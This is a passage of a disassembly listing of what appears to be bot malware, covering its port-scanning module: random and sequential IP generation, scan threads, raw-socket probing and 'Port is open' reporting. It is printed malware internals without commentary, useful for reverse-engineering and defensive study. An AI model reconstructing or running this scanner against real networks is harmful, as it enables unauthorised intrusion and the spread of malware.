ecx, esi call sub_4013E3 test eax, eax jnz short loc_4231C4 push offset aB ; " -b" mov ecx, esi call sub_4013E3 test eax, eax jnz short loc_4231C4 lea ecx, [esi+2Ah] call sub_4014D3 push eax push offset aScanNoIpSpecif ; "scan: no ip specified" loc_4231A5: ; CODE XREF: sub_422A40+645j mov al, [esi+94h] mov cl, [esi+93h] push eax push ecx mov ecx, offset byte_4D60A5 call sub_401118 loc_4231BD: ; CODE XREF: sub_422A40+132j mov al, 1 jmp loc_422E3B ; --------------------------------------------------------------------------- loc_4231C4: ; CODE XREF: sub_422A40+735j ; sub_422A40+745j ... mov ecx, dword_4D60BD lea edx, [esp+7A0h+var_78C] lea eax, [esp+7A0h+var_788] push edx push eax push ecx mov [esp+7ACh+var_78C], 10h nop call near ptr 71AB951Eh push offset off_444570 mov ecx, esi call sub_4013E3 mov edx, eax mov eax, [esp+79Ch+var_780] neg edx sbb edx, edx push 10h and edx, 0FFFF0100h add edx, 0FFFFh and eax, edx push eax mov [esp+7A4h+var_780], eax nop call near ptr 71AB3F41h push eax lea eax, [esp+7A8h+var_770] push eax nop call near ptr 77C47A90h add esp, 0Ch mov ecx, esi push offset dword_444574 call sub_4013E3 test eax, eax jz short loc_42328B push offset off_444570 mov ecx, esi call sub_4013E3 mov ebp, dword_50FA90 mov edi, eax neg edi sbb edi, edi lea ecx, [esp+7A0h+var_770] neg edi push 30h push ecx add edi, 2 call ebp ; strrchr add esp, 8 xor bl, bl test edi, edi jle short loc_42327E loc_423262: ; CODE XREF: sub_422A40+83Cj test eax, eax jz short loc_42327E lea edx, [esp+7A0h+var_770] push 30h push edx mov byte ptr [eax], 78h call ebp ; strrchr add esp, 8 inc bl movsx ecx, bl cmp ecx, edi jl short loc_423262 loc_42327E: ; CODE XREF: sub_422A40+820j ; sub_422A40+824j mov [esp+7A0h+var_630], 1 jmp short loc_423296 ; --------------------------------------------------------------------------- loc_42328B: ; CODE XREF: sub_422A40+7F1j mov [esp+7A0h+var_630], 0 loc_423296: ; CODE XREF: sub_422A40+722j ; sub_422A40+849j mov edx, dword_4D60BD xor eax, eax mov al, [esi+93h] lea edi, [esi+2Ah] mov ecx, edi mov [esp+7A0h+var_660], edx mov [esp+7A0h+var_638], 0 mov [esp+7A0h+var_634], eax call sub_4017E4 push eax lea ecx, [esp+7A4h+var_760] push 80h push ecx call near ptr 77C3FA76h nop mov eax, [esp+7ACh+var_630] add esp, 0Ch test eax, eax mov [esp+7A0h+var_6E0], 0 mov eax, offset aRandom ; "random" jnz short loc_4232F8 mov eax, offset aSequential ; "sequential" loc_4232F8: ; CODE XREF: sub_422A40+8B1j mov edx, [esp+7A0h+var_644] mov ecx, [esp+7A0h+var_654] push edx mov edx, [esp+7A4h+var_658] push ecx mov ecx, [esp+7A8h+var_65C] push edx lea edx, [esp+7ACh+var_770] push ecx push edx push eax mov eax, [esp+7B8h+var_640] lea eax, [eax+eax*2] lea eax, [eax+eax*4] lea ecx, ds:44441Ah[eax*4] push ecx push offset aScanSSPortScan ; "Scan(%s): %s Port Scan %s:%d - Delay %d"... mov ecx, edi call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60A5 call sub_401848 push 0 lea ecx, [esp+7D4h+var_20C] push 3 push ecx call sub_401BD6 add esp, 3Ch lea edx, [esp+7A0h+var_770] mov [esp+7A0h+var_650], eax push edx call sub_402261 mov al, 1 jmp loc_422E3B sub_422A40 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 260h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4235F0 proc near ; CODE XREF: sub_40114Fj arg_A6 = dword ptr 0AAh arg_AE = dword ptr 0B2h mov ecx, [esp+arg_AE] push ebx test ecx, ecx push offset byte_446F60 mov ecx, offset dword_447988 setnz bl call sub_4014D3 push eax push ebx push ebx push offset byte_4D60A5 call sub_401848 mov eax, [esp+18h+arg_A6] add esp, 14h lea eax, [eax+eax*2] pop ebx lea eax, [eax+eax*4] mov ecx, dword_444440[eax*4] inc ecx mov dword_444440[eax*4], ecx mov al, 1 retn sub_4235F0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423660 proc near ; CODE XREF: sub_401DF7j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 14h xor eax, eax lea ecx, [esp+14h+var_14] mov [esp+14h+var_10], eax lea edx, [esp+14h+var_10] mov [esp+14h+var_C], eax push ecx mov [esp+18h+var_8], eax push edx mov [esp+1Ch+var_4], eax mov eax, [esp+1Ch+arg_0] push eax mov [esp+20h+var_14], 10h call near ptr 71AB951Eh nop mov ecx, [esp+14h+var_C+3] mov edx, [esp+14h+var_C+2] mov eax, [esp+14h+var_C+1] and ecx, 0FFh push ecx mov ecx, [esp+18h+var_C] and edx, 0FFh and eax, 0FFh push edx and ecx, 0FFh push eax push ecx push offset aD_D_D_D ; "%d.%d.%d.%d" push offset dword_50DAD8 nop call sub_5EA1BD mov eax, offset dword_50DAD8 add esp, 2Ch retn sub_423660 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423720 proc near ; CODE XREF: sub_401F37j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, dword_50BB80[esi*8] push eax nop call near ptr 71AB2BC0h inc eax push eax nop call near ptr 71AB2BC0h mov dword_50BB80[esi*8], eax pop esi retn sub_423720 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423760 proc near ; CODE XREF: sub_401131j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h mov edx, [esp+10h+arg_0] push ebx or ebx, 0FFFFFFFFh push edi mov edi, edx mov ecx, ebx xor eax, eax mov [esp+18h+var_8], ebx repne scasb not ecx dec ecx mov [esp+18h+var_C], ebx cmp ecx, 0Fh mov [esp+18h+var_10], ebx mov [esp+18h+var_4], ebx jbe short loc_423792 pop edi pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_423792: ; CODE XREF: sub_423760+2Aj lea eax, [esp+18h+var_4] push esi lea ecx, [esp+1Ch+var_10] push eax push ecx lea eax, [esp+24h+var_C] lea ecx, [esp+24h+var_8] push eax push ecx push offset aD_D_D_D ; "%d.%d.%d.%d" push edx nop call near ptr 77C41B72h mov eax, [esp+34h+var_8] mov esi, dword_50FABC add esp, 18h cmp eax, ebx jnz short loc_4237CA call esi ; rand mov [esp+1Ch+var_8], eax loc_4237CA: ; CODE XREF: sub_423760+62j cmp [esp+1Ch+var_C], ebx jnz short loc_4237D6 call esi ; rand mov [esp+1Ch+var_C], eax loc_4237D6: ; CODE XREF: sub_423760+6Ej cmp [esp+1Ch+var_10], ebx jnz short loc_4237E2 call esi ; rand mov [esp+1Ch+var_10], eax loc_4237E2: ; CODE XREF: sub_423760+7Aj mov eax, [esp+1Ch+var_4] cmp eax, ebx jnz short loc_4237EC call esi ; rand loc_4237EC: ; CODE XREF: sub_423760+88j mov edi, [esp+1Ch+var_10] mov edx, [esp+1Ch+var_C] shl eax, 8 mov ecx, [esp+1Ch+arg_4] add eax, edi shl eax, 8 add eax, edx mov edx, [esp+1Ch+var_8] shl eax, 8 add eax, edx pop esi pop edi mov dword_50BB80[ecx*8], eax pop ebx add esp, 10h retn sub_423760 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423850 proc near ; CODE XREF: sub_401E38j var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = word ptr -114h var_112 = word ptr -112h var_110 = dword ptr -110h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 120h push esi push edi mov edi, 1 push 0 push edi push 2 mov [esp+134h+var_120], edi nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_42387E pop edi xor eax, eax pop esi add esp, 120h retn ; --------------------------------------------------------------------------- loc_42387E: ; CODE XREF: sub_423850+21j mov ecx, [esp+128h+arg_4] mov eax, [esp+128h+arg_0] push ecx mov [esp+12Ch+var_114], 2 mov [esp+12Ch+var_110], eax nop call near ptr 71AB2B66h lea edx, [esp+128h+var_120] mov [esp+128h+var_112], ax push edx push 8004667Eh push esi call near ptr 71AB4519h nop lea eax, [esp+128h+var_114] push 10h push eax push esi call near ptr 71AB406Ah nop mov ecx, [esp+128h+arg_8] lea edx, [esp+128h+var_11C] push edx lea eax, [esp+12Ch+var_104] push 0 push eax push 0 push 0 mov [esp+13Ch+var_11C], ecx mov [esp+13Ch+var_118], 0 mov [esp+13Ch+var_100], esi mov [esp+13Ch+var_104], edi call near ptr 71AB2DC0h nop push esi mov edi, eax nop call near ptr 71AB9639h xor eax, eax test edi, edi pop edi pop esi setnle al add esp, 120h retn sub_423850 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_423940: ; CODE XREF: ___:00401046j mov eax, 10110h call sub_436840 push ebx push ebp mov ebp, dword_50FC2C push esi push edi push 2649h call ebp ; ntohs mov [esp+24h], ax mov eax, [esp+1012Ch] push eax call ebp ; ntohs mov [esp+26h], ax nop call near ptr 77C371D3h xor ebx, ebx push 200h mov [esp+2Ch], eax mov [esp+30h], ebx mov [esp+34h], bx mov [esp+44h], bx mov word ptr [esp+36h], 5 mov [esp+38h], bx mov word ptr [esp+3Ah], 1 mov [esp+3Ch], bx mov [esp+3Eh], bx mov [esp+40h], bx mov [esp+42h], bx call ebp ; ntohs mov ecx, [esp+10124h] mov edx, [esp+10128h] push 24h mov [esp+46h], ax mov [esp+48h], bx mov [esp+4Ah], bx mov [esp+4Ch], ecx mov [esp+50h], edx mov [esp+54h], bl mov byte ptr [esp+55h], 6 call ebp ; ntohs mov [esp+52h], ax mov ecx, 9 lea esi, [esp+24h] lea edi, [esp+54h] lea eax, [esp+48h] push 20h rep movsd push eax call sub_401A28 mov edx, [esp+10134h] xor ecx, ecx mov [esp+1Ch], ecx add esp, 8 mov [esp+18h], ecx mov [esp+44h], ax mov [esp+1Ch], ecx push edx mov [esp+24h], ecx mov word ptr [esp+18h], 2 call ebp ; ntohs mov [esp+16h], ax mov eax, [esp+10128h] push 6 push 3 push 2 mov [esp+24h], eax mov dword ptr [esp+1Ch], 10h call near ptr 71AB3B91h nop mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_423A69 push offset aSocketOpenFail ; "socket open failed" jmp loc_423B68 ; --------------------------------------------------------------------------- loc_423A69: ; CODE XREF: ___:00423A5Dj mov ecx, [esp+10h] lea edx, [esp+14h] push ecx push edx push ebx lea eax, [esp+30h] push 24h push eax push esi nop call near ptr 71AB2C69h mov edi, eax cmp edi, 14h jz short loc_423AC2 nop call near ptr 71AB94DCh push eax push edi lea ecx, [esp+70h] push offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."... push ecx nop call sub_5EA1BD lea edx, [esp+78h] push edx call sub_4010D2 add esp, 14h push esi nop call near ptr 71AB9639h pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- loc_423AC2: ; CODE XREF: ___:00423A87j mov ecx, 400Dh xor eax, eax lea edi, [esp+0E8h] mov ebp, 2649h rep stosd stosw stosb cmp [esp+0FEh], bp jz short loc_423B13 mov edi, dword_50FC58 loc_423AEA: ; CODE XREF: ___:00423B11j lea eax, [esp+10h] lea ecx, [esp+14h] push eax push ecx push ebx lea edx, [esp+0F4h] push 10037h push edx push esi call edi ; recvfrom test eax, eax jl short loc_423B42 cmp [esp+0FEh], bp jnz short loc_423AEA loc_423B13: ; CODE XREF: ___:00423AE2j push esi nop call near ptr 71AB9639h cmp word ptr [esp+10Eh], 1 jnz short loc_423B63 push offset aSocketOpen_ ; "Socket open." call sub_4010D2 add esp, 4 mov eax, 1 pop edi pop esi pop ebp pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- loc_423B42: ; CODE XREF: ___:00423B07j push offset aRecvfromSocket ; "recvfrom() socket failed" call sub_4010D2 add esp, 4 push esi nop call near ptr 71AB9639h pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- loc_423B63: ; CODE XREF: ___:00423B23j push offset dword_44466C loc_423B68: ; CODE XREF: ___:00423A64j call sub_4010D2 add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_423C10: ; CODE XREF: ___:loc_401F23j sub esp, 290h mov eax, [esp+294h] push ebx push ebp push esi push edi mov ecx, 53h mov esi, eax lea edi, [esp+18h] rep movsd mov esi, [esp+13Ch] mov ecx, [esp+140h] mov [esp+10h], esi mov [esp+14h], ecx mov dword ptr [eax+148h], 1 nop call near ptr 27D0802h push eax call near ptr 77C371BCh nop lea eax, [esi+esi*2] add esp, 4 shl eax, 4 sub eax, esi lea eax, [eax+eax*2] lea ebp, ds:448FBBh[eax*4] mov eax, dword_4491BF[eax*4] mov ecx, dword_50BB84[eax*8] test ecx, ecx jz loc_423EC4 mov ebx, off_50FBF0 loc_423C8C: ; CODE XREF: ___:00423EBAj mov ecx, [esp+158h] push eax test ecx, ecx jz short loc_423CA7 lea edx, [esp+1Ch] push edx call sub_401131 add esp, 8 jmp short loc_423CAF ; --------------------------------------------------------------------------- loc_423CA7: ; CODE XREF: ___:00423C96j call sub_401F37 add esp, 4 loc_423CAF: ; CODE XREF: ___:00423CA5j mov ecx, [ebp+204h] mov edx, [esp+12Ch] mov edi, dword_50FC78 mov esi, eax mov eax, [esp+14h] push eax push ecx push edx push esi call edi ; inet_ntoa push eax lea eax, [esp+230h] push offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"... push eax call ebx ; sub_5EA1BD add esp, 18h lea ecx, [esp+220h] push ecx push ebp call ebx ; sub_5EA1BD mov edx, [esp+138h] mov eax, [esp+134h] push edx push eax push esi call sub_401E38 add esp, 14h cmp eax, 1 jnz loc_423EA0 cmp dword ptr [esp+148h], 0FFFFFFFFh jnz loc_423DC2 push offset dword_50DAC0 nop call near ptr 7C901005h mov ecx, [esp+12Ch] push ecx push esi call edi ; inet_ntoa push eax lea edx, [esp+228h] push offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open." push edx call ebx ; sub_5EA1BD mov eax, [esp+164h] add esp, 10h test eax, eax jnz short loc_423DA2 mov al, [esp+0A8h] test al, al jz short loc_423D7D mov eax, [esp+150h] lea ecx, [esp+220h] push eax mov eax, [esp+12Ch] lea edx, [esp+0ACh] push ecx push edx push eax jmp short loc_423D9A ; --------------------------------------------------------------------------- loc_423D7D: ; CODE XREF: ___:00423D59j mov ecx, [esp+150h] lea edx, [esp+220h] push ecx mov ecx, [esp+12Ch] lea eax, [esp+2Ch] push edx push eax push ecx loc_423D9A: ; CODE XREF: ___:00423D7Bj call sub_401523 add esp, 10h loc_423DA2: ; CODE XREF: ___:00423D4Ej lea edx, [esp+220h] push edx call sub_4010D2 add esp, 4 push offset dword_50DAC0 call near ptr 7C9010EDh nop jmp loc_423EA0 ; --------------------------------------------------------------------------- loc_423DC2: ; CODE XREF: ___:00423D16j push esi call edi ; inet_ntoa push eax lea eax, [esp+16Ch] push eax call ebx ; sub_5EA1BD mov eax, [esp+150h] add esp, 8 lea eax, [eax+eax*2] lea ecx, [eax+eax*4] lea eax, [esp+1F8h] lea edx, ds:444410h[ecx*4] push edx push eax call ebx ; sub_5EA1BD mov al, [esp+0B0h] add esp, 8 test al, al jz short loc_423E12 lea ecx, [esp+0A8h] lea edx, [esp+178h] push ecx push edx jmp short loc_423E1F ; --------------------------------------------------------------------------- loc_423E12: ; CODE XREF: ___:00423DFEj lea eax, [esp+28h] lea ecx, [esp+178h] push eax push ecx loc_423E1F: ; CODE XREF: ___:00423E10j call ebx ; sub_5EA1BD mov eax, [esp+158h] mov edx, [esp+130h] mov ecx, [esp+15Ch] mov [esp+21Ah], eax mov eax, [esp+18h] add esp, 8 mov [esp+164h], edx mov edx, [esp+12Ch] mov [esp+206h], eax mov eax, [esp+148h] sub esp, 0BCh mov [esp+2D2h], ecx mov ecx, 2Eh lea esi, [esp+220h] mov edi, esp mov [esp+2BEh], edx mov [esp+2C6h], eax lea eax, [eax+eax*2] rep movsd lea edx, [eax+eax*4] movsw call off_44443C[edx*4] add esp, 0BCh loc_423EA0: ; CODE XREF: ___:00423D08j ; ___:00423DBDj push 7D0h nop call near ptr 2811E0Eh mov eax, [ebp+204h] mov ecx, dword_50BB84[eax*8] test ecx, ecx jnz loc_423C8C mov esi, [esp+10h] loc_423EC4: ; CODE XREF: ___:00423C80j push esi call sub_401E24 add esp, 4 push 0 nop call near ptr 2820000h nop nop nop nop nop nop nop nop nop nop nop ; --------------------------------------------------------------------------- db 0C0h dup(0CCh) ; --------------------------------------------------------------------------- loc_423FA0: ; CODE XREF: sub_402261j mov eax, [esp+4] sub esp, 1CCh mov ecx, 53h push ebx push ebp push esi push edi mov esi, eax lea edi, [esp+10h] mov ebx, 1 rep movsd mov [eax+144h], ebx lea eax, [esp+10h] push eax nop call near ptr 71AB2BF4h sub esp, 14Ch lea esi, [esp+15Ch] mov ecx, [esp+27Ch] mov edi, esp mov dword_50BB80[ecx*8], eax mov ecx, 53h rep movsd call j_nullsub_9 push 3 call sub_401483 add esp, 150h cmp eax, ebx jnz short loc_424021 push offset dword_50DAC0 nop call near ptr 276085Dh push offset dword_50DAC0 nop call near ptr 2760EBFh loc_424021: ; CODE XREF: ___:00424009j mov edx, [esp+130h] mov eax, [esp+13Ch] mov ebp, dword_50F8D0 mov esi, ebx mov dword_50BB84[edx*8], ebx cmp eax, ebx mov ebx, off_50FBF0 jb loc_424150 mov edi, dword_50F860 loc_424052: ; CODE XREF: ___:0042414Aj mov eax, [esp+130h] mov ecx, [esp+124h] push esi push eax lea edx, [esp+18h] push ecx push edx lea eax, [esp+16Ch] push offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"... push eax mov [esp+150h], esi call ebx ; sub_5EA1BD push 0 lea ecx, [esp+178h] push 3 push ecx call sub_401BD6 lea ecx, [eax+eax*2] add esp, 24h shl ecx, 4 sub ecx, eax push 0 push 0 mov [esp+13Ch], eax mov eax, [esp+138h] lea edx, [ecx+ecx*2] lea ecx, [esp+18h] push ecx push offset loc_401F23 push 0 push 0 mov dword_4491BF[edx*4], eax call edi mov edx, [esp+134h] lea ecx, [edx+edx*2] shl ecx, 4 sub ecx, edx lea edx, [ecx+ecx*2] mov dword_4491CF[edx*4], eax mov ecx, [esp+134h] lea eax, [ecx+ecx*2] shl eax, 4 sub eax, ecx lea eax, [eax+eax*2] mov ecx, dword_4491CF[eax*4] test ecx, ecx jz short loc_424118 mov eax, [esp+158h] test eax, eax jnz short loc_42413E loc_424107: ; CODE XREF: ___:00424114j push 1Eh call ebp mov eax, [esp+158h] test eax, eax jz short loc_424107 jmp short loc_42413E ; --------------------------------------------------------------------------- loc_424118: ; CODE XREF: ___:004240FAj call near ptr 27A08E3h nop push eax lea ecx, [esp+160h] push offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "... push ecx call ebx ; sub_5EA1BD lea edx, [esp+168h] push edx call sub_4010D2 add esp, 10h loc_42413E: ; CODE XREF: ___:00424105j ; ___:00424116j push 1Eh call ebp inc esi cmp esi, [esp+13Ch] jbe loc_424052 loc_424150: ; CODE XREF: ___:00424046j mov eax, [esp+12Ch] test eax, eax jz short loc_42417E lea eax, [eax+eax*2] lea eax, [eax+eax*4] lea eax, [eax+eax*4] lea eax, [eax+eax*4] lea eax, [eax+eax*4] shl eax, 5 push eax call ebp mov esi, 1 mov eax, [esp+12Ch] jmp short loc_4241B1 ; --------------------------------------------------------------------------- loc_42417E: ; CODE XREF: ___:00424159j mov ecx, [esp+130h] mov esi, 1 cmp dword_50BB84[ecx*8], esi jnz short loc_4241B1 loc_424193: ; CODE XREF: ___:004241A8j push 7D0h call ebp mov edx, [esp+130h] cmp dword_50BB84[edx*8], esi jz short loc_424193 mov eax, [esp+12Ch] loc_4241B1: ; CODE XREF: ___:0042417Cj ; ___:00424191j mov ecx, [esp+130h] mov edx, [esp+124h] push eax push edx mov ecx, dword_50BB80[ecx*8] push ecx nop call near ptr 71AB3F41h push eax lea eax, [esp+168h] push offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"... push eax call ebx ; sub_5EA1BD mov eax, [esp+160h] add esp, 14h test eax, eax jnz short loc_424212 mov ecx, [esp+148h] lea edx, [esp+15Ch] push ecx mov ecx, [esp+124h] lea eax, [esp+24h] push edx push eax push ecx call sub_401523 add esp, 10h loc_424212: ; CODE XREF: ___:004241EBj lea edx, [esp+15Ch] push edx call sub_4010D2 mov eax, [esp+134h] add esp, 4 push 0BB8h mov dword_50BB84[eax*8], 0 call ebp push 3 call sub_401483 add esp, 4 cmp eax, esi jnz short loc_424254 push offset dword_50DAC0 nop call near ptr 276085Dh loc_424254: ; CODE XREF: ___:00424247j mov ecx, [esp+130h] push ecx call sub_401E24 add esp, 4 push 0 nop call near ptr 2820000h nop nop nop nop ; --------------------------------------------------------------------------- db 0C0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424330 proc near ; CODE XREF: sub_4012A8j mov eax, ecx mov dword ptr [eax+4], 0 mov dword ptr [eax], 0 retn sub_424330 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_424350: ; CODE XREF: ___:004015E1j mov edx, [esp+4] sub esp, 8 xor eax, eax push esi mov esi, ecx push edi mov edi, edx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx push ecx push edx lea ecx, [esp+10h] call sub_401834 mov ecx, [eax] pop edi mov [esi], ecx mov edx, [eax+4] mov eax, esi mov [esi+4], edx pop esi add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4243A0 proc near ; CODE XREF: sub_401834j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push ebp mov ebp, [esp+8+arg_4] mov ebx, ecx push ebp nop call near ptr 77C2C407h mov edx, eax add esp, 4 test edx, edx jz short loc_4243F2 mov ecx, ebp push esi mov esi, ecx push edi xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+10h+arg_0] and ecx, 3 rep stosb mov ecx, ebp mov edi, edx mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax mov eax, ebx and ecx, 3 rep movsb pop edi mov [ebx+4], ebp pop esi mov [ebx], edx pop ebp pop ebx retn 8 ; --------------------------------------------------------------------------- loc_4243F2: ; CODE XREF: sub_4243A0+16j mov eax, ebx pop ebp pop ebx retn 8 sub_4243A0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424420 proc near ; CODE XREF: sub_4021D5j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] push ebx mov ebx, ecx push ebp mov ecx, [esp+8+arg_C] lea ebp, [eax+ecx] push ebp nop call near ptr 77C2C407h mov edx, eax add esp, 4 test edx, edx jz short loc_424494 mov ecx, ebp push esi mov esi, ecx push edi xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+10h+arg_0] and ecx, 3 rep stosb mov ecx, [esp+10h+arg_4] mov edi, edx mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [esp+10h+arg_C] mov esi, [esp+10h+arg_8] lea edi, [edx+eax] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax mov eax, ebx and ecx, 3 rep movsb pop edi mov [ebx+4], ebp pop esi mov [ebx], edx pop ebp pop ebx retn 10h ; --------------------------------------------------------------------------- loc_424494: ; CODE XREF: sub_424420+1Dj mov eax, ebx pop ebp pop ebx retn 10h sub_424420 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4244C0 proc near ; CODE XREF: sub_4016B8j push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_4244D3 push eax nop call near ptr 77C2C21Bh add esp, 4 loc_4244D3: ; CODE XREF: sub_4244C0+7j mov dword ptr [esi+4], 0 mov dword ptr [esi], 0 pop esi retn sub_4244C0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424500 proc near ; CODE XREF: sub_4010A0j var_4 = dword ptr -4 push ecx push ebx mov ebx, ecx push ebp push esi mov eax, [ebx+4] cmp eax, 0FFFFh jl short loc_424517 pop esi pop ebp xor al, al pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_424517: ; CODE XREF: sub_424500+Ej xor ecx, ecx cmp eax, 7Fh setnl cl dec ecx and ecx, 0FFFFFFFEh add ecx, 3 mov esi, ecx add eax, esi mov [esp+10h+var_4], esi push eax nop call near ptr 77C2C407h mov ebp, eax add esp, 4 test ebp, ebp jnz short loc_424545 pop esi pop ebp xor al, al pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_424545: ; CODE XREF: sub_424500+3Cj push edi mov edi, [ebx+4] mov ecx, esi xor eax, eax add ecx, edi mov edi, ebp mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 cmp esi, 1 rep stosb jnz short loc_424574 mov al, [ebx+4] lea edi, [ebp+1] mov [ebp+0], al mov ecx, [ebx+4] mov esi, [ebx] jmp short loc_42458F ; --------------------------------------------------------------------------- loc_424574: ; CODE XREF: sub_424500+62j mov byte ptr [ebp+0], 82h mov eax, [ebx+4] sar eax, 8 mov [ebp+1], al mov cl, [ebx+4] mov [ebp+2], cl mov ecx, [ebx+4] mov esi, [ebx] lea edi, [ebp+3] loc_42458F: ; CODE XREF: sub_424500+72j mov edx, ecx shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov eax, [ebx] push eax nop call near ptr 77C2C21Bh mov ecx, [esp+18h+var_4] mov eax, [ebx+4] add esp, 4 add eax, ecx mov [ebx], ebp mov [ebx+4], eax pop edi pop esi pop ebp mov al, 1 pop ebx pop ecx retn sub_424500 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4245F0 proc near ; CODE XREF: sub_401B68j var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 8 push ebx push ebp mov ebp, ecx mov eax, [ebp+4] mov ecx, [ebp+0] push eax push ecx push 1 push offset dword_446F64 lea ecx, [esp+20h+var_8] call sub_4021D5 lea ecx, [esp+10h+var_8] call sub_4010A0 mov edx, [esp+10h+var_4] inc edx push edx call near ptr 77C2C407h nop mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_424635 pop ebp xor al, al pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_424635: ; CODE XREF: sub_4245F0+3Bj mov eax, [esp+10h+var_4] push esi push edi mov edi, ebx lea ecx, [eax+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb mov byte ptr [ebx], 3 mov ecx, [esp+18h+var_4] mov esi, [esp+18h+var_8] mov eax, ecx lea edi, [ebx+1] shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, ebp call sub_4016B8 mov ecx, [esp+18h+var_4] mov [ebp+0], ebx inc ecx mov [ebp+4], ecx lea ecx, [esp+18h+var_8] call sub_4016B8 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 8 retn sub_4245F0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4246D0 proc near ; CODE XREF: sub_4012C6j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] sub esp, 8 push esi mov esi, ecx mov ecx, [esp+0Ch+arg_0] push eax mov edx, [esi+4] mov eax, [esi] push ecx push edx push eax lea ecx, [esp+1Ch+var_8] call sub_4021D5 mov ecx, esi call sub_4016B8 mov ecx, [esp+0Ch+var_8] mov edx, [esp+0Ch+var_4] mov [esi], ecx mov [esi+4], edx mov al, 1 pop esi add esp, 8 retn 8 sub_4246D0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424720 proc near ; CODE XREF: sub_402036j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov edx, ecx push edi mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx push esi mov ecx, edx call sub_4012C6 pop edi pop esi retn 4 sub_424720 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424760 proc near ; CODE XREF: sub_4014FBj arg_0 = dword ptr 4 arg_4 = 